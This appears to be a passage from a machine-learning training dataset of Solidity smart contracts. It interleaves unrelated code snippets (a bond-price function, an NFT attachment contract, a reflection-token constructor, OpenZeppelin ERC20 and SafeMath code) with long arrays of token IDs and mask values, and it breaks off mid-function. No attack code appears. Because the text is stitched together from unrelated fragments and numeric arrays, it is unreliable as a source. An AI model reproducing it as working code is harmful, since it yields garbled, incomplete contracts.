-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x5717EEDCE2c23e061adD9F1D1C67C0d8F45eC75b/sources/contracts/BondERC20.sol
|
* @notice calculate current bond price and remove floor if above @return price_ uint/
|
function _bondPrice() internal returns (uint price_) {
price_ = terms.controlVariable.mul(debtRatio()).div(10 ** (uint256(HATE.decimals()).sub(5)));
if (price_ < terms.minimumPrice) {
price_ = terms.minimumPrice;
terms.minimumPrice = 0;
}
}
| 8,296,916 |
[
1,
11162,
783,
8427,
6205,
471,
1206,
6346,
309,
5721,
225,
327,
6205,
67,
2254,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
26425,
5147,
1435,
2713,
1135,
261,
11890,
6205,
67,
13,
288,
203,
3639,
6205,
67,
273,
6548,
18,
7098,
3092,
18,
16411,
12,
323,
23602,
8541,
1435,
2934,
2892,
12,
2163,
2826,
261,
11890,
5034,
12,
44,
1777,
18,
31734,
1435,
2934,
1717,
12,
25,
3719,
1769,
203,
3639,
309,
261,
8694,
67,
411,
6548,
18,
15903,
5147,
13,
288,
203,
5411,
6205,
67,
273,
6548,
18,
15903,
5147,
31,
203,
5411,
6548,
18,
15903,
5147,
273,
374,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.8.0;
import "./freeportParts/MetaTxContext.sol";
import "./Freeport.sol";
/** The contract NFTAttachment allows users to attach objects to NFTs.
* Some application can listen for the events and interpret the objects in some way.
*
* There are three roles who can attach objects to an NFT:
* the minter, any current owner, or any anonymous account.
* A different event is emitted for each role.
*
* The attachment data is meant to identify an object hosted externally,
* such as a CID, a.k.a. Content Identifier, or a DDC URL.
* The content may be retrieved from Cere DDC or some other store.
*/
contract NFTAttachment is /* AccessControl, */ MetaTxContext {
/** This attachment contract refers to the NFT contract in this variable.
*/
Freeport public freeport;
/** The token ID that represents the internal currency for all payments in Freeport. */
uint256 constant CURRENCY = 0;
/** Set which NFT contract to refer to.
*
* The event `MinterAttachToNFT` is only supported for Freeport-compatible NFTs.
*
* The event `OwnerAttachToNFT` is supported for ERC-1155 NFTs, including Freeport.
*/
function initialize(Freeport _freeport) public initializer {
__MetaTxContext_init();
require(address(_freeport) != address(0));
freeport = _freeport;
}
/** The account `minter` wished to attach data `attachment` to the NFT type `nftId`.
*
* The `minter` is the minter who created this NFT type, or may create it in the future if it does not exist.
*/
event MinterAttachToNFT(
address indexed minter,
uint256 indexed nftId,
bytes attachment);
/** The account `owner` wished to attach data `attachment` to the NFT type `nftId`.
*
* The `owner` owned at least one NFT of this type at the time of the event.
*/
event OwnerAttachToNFT(
address indexed owner,
uint256 indexed nftId,
bytes attachment);
/** The account `anonym` wished to attach data `attachment` to the NFT type `nftId`.
*
* There is absolutely no validation. It is the responsibility of the reader of this event to decide
* who the sender is and what the attachment means.
*/
event AnonymAttachToNFT(
address indexed anonym,
uint256 indexed nftId,
bytes attachment);
/** Attach data `attachment` to the NFT type `nftId`, as the minter of this NFT type.
*
* This only works for NFT IDs in the Freeport format.
*/
function minterAttachToNFT(uint256 nftId, bytes calldata attachment)
public {
require(nftId != CURRENCY, "0 is not a valid NFT ID");
address minter = _msgSender();
address actualMinter = _minterFromNftId(nftId);
require(minter == actualMinter, "Only minter");
emit MinterAttachToNFT(minter, nftId, attachment);
}
/** Attach data `attachment` to the NFT type `nftId`, as a current owner of an NFT of this type.
*
* This works for NFTs in the ERC-1155 or Freeport standards.
*/
function ownerAttachToNFT(uint256 nftId, bytes calldata attachment)
public {
require(nftId != CURRENCY, "0 is not a valid NFT ID");
address owner = _msgSender();
uint256 balance = freeport.balanceOf(owner, nftId);
require(balance > 0, "Only current owner");
emit OwnerAttachToNFT(owner, nftId, attachment);
}
/** Attach data `attachment` to the NFT type `nftId`, as any account.
*/
function anonymAttachToNFT(uint256 nftId, bytes calldata attachment)
public {
require(nftId != CURRENCY, "0 is not a valid NFT ID");
address anonym = _msgSender();
emit AnonymAttachToNFT(anonym, nftId, attachment);
}
/** Parse an NFT ID into its issuer, its supply, and an arbitrary nonce.
*
* This does not imply that the NFTs exist.
*
* This is specific to Freeport NFTs. See `freeportParts/Issuance.sol`
*/
function _minterFromNftId(uint256 id)
public pure returns (address minter) {
minter = address(uint160((id & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000) >> (32 + 64)));
return minter;
}
}
|
* Parse an NFT ID into its issuer, its supply, and an arbitrary nonce. This does not imply that the NFTs exist. This is specific to Freeport NFTs. See `freeportParts/Issuance.sol`/
|
function _minterFromNftId(uint256 id)
public pure returns (address minter) {
minter = address(uint160((id & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000) >> (32 + 64)));
return minter;
}
| 928,373 |
[
1,
3201,
392,
423,
4464,
1599,
1368,
2097,
9715,
16,
2097,
14467,
16,
471,
392,
11078,
7448,
18,
1220,
1552,
486,
709,
1283,
716,
326,
423,
4464,
87,
1005,
18,
1220,
353,
2923,
358,
15217,
655,
423,
4464,
87,
18,
2164,
1375,
9156,
655,
4305,
19,
7568,
89,
1359,
18,
18281,
68,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
1154,
387,
1265,
50,
1222,
548,
12,
11890,
5034,
612,
13,
203,
565,
1071,
16618,
1135,
261,
2867,
1131,
387,
13,
288,
203,
3639,
1131,
387,
273,
1758,
12,
11890,
16874,
12443,
350,
473,
374,
6356,
8998,
8998,
8998,
8998,
8998,
8998,
8998,
8998,
18343,
12648,
12648,
12648,
13,
1671,
261,
1578,
397,
5178,
3719,
1769,
203,
3639,
327,
1131,
387,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x0398262866292460289DE17cDCeC197989d294C1/sources/THELANPA.sol
|
Create a uniswap pair for this new token set the rest of the contract variables exclude owner, and this contract from fee
|
constructor() {
_rOwned[_msgSender()] = _rTotal;
buyFee.reflection = 1;
buyFee.liquidity = 1;
buyFee.marketing = 1;
sellFee.reflection = 1;
sellFee.liquidity = 1;
sellFee.marketing = 1;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D );
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromLimit[_marketingAddress] = true;
_isExcludedFromLimit[owner()] = true;
_isExcludedFromLimit[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
| 15,897,225 |
[
1,
1684,
279,
640,
291,
91,
438,
3082,
364,
333,
394,
1147,
444,
326,
3127,
434,
326,
6835,
3152,
4433,
3410,
16,
471,
333,
6835,
628,
14036,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
1435,
288,
203,
3639,
389,
86,
5460,
329,
63,
67,
3576,
12021,
1435,
65,
273,
389,
86,
5269,
31,
203,
203,
3639,
30143,
14667,
18,
26606,
273,
404,
31,
203,
3639,
30143,
14667,
18,
549,
372,
24237,
273,
404,
31,
203,
3639,
30143,
14667,
18,
3355,
21747,
273,
404,
31,
203,
203,
3639,
357,
80,
14667,
18,
26606,
273,
404,
31,
203,
3639,
357,
80,
14667,
18,
549,
372,
24237,
273,
404,
31,
203,
3639,
357,
80,
14667,
18,
3355,
21747,
273,
404,
31,
203,
203,
3639,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
389,
318,
291,
91,
438,
58,
22,
8259,
273,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
12,
374,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
225,
11272,
203,
3639,
640,
291,
91,
438,
58,
22,
4154,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
24899,
318,
291,
91,
438,
58,
22,
8259,
18,
6848,
1435,
2934,
2640,
4154,
12,
2867,
12,
2211,
3631,
389,
318,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
10663,
203,
203,
3639,
640,
291,
91,
438,
58,
22,
8259,
273,
389,
318,
291,
91,
438,
58,
22,
8259,
31,
203,
203,
3639,
389,
291,
16461,
1265,
14667,
63,
8443,
1435,
65,
273,
638,
31,
203,
3639,
389,
291,
16461,
1265,
14667,
63,
2867,
12,
2211,
25887,
273,
638,
31,
203,
3639,
389,
2
] |
/**
*Submitted for verification at Etherscan.io on 2021-03-12
*/
pragma solidity 0.6.6;
// File: @openzeppelin/contracts/GSN/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
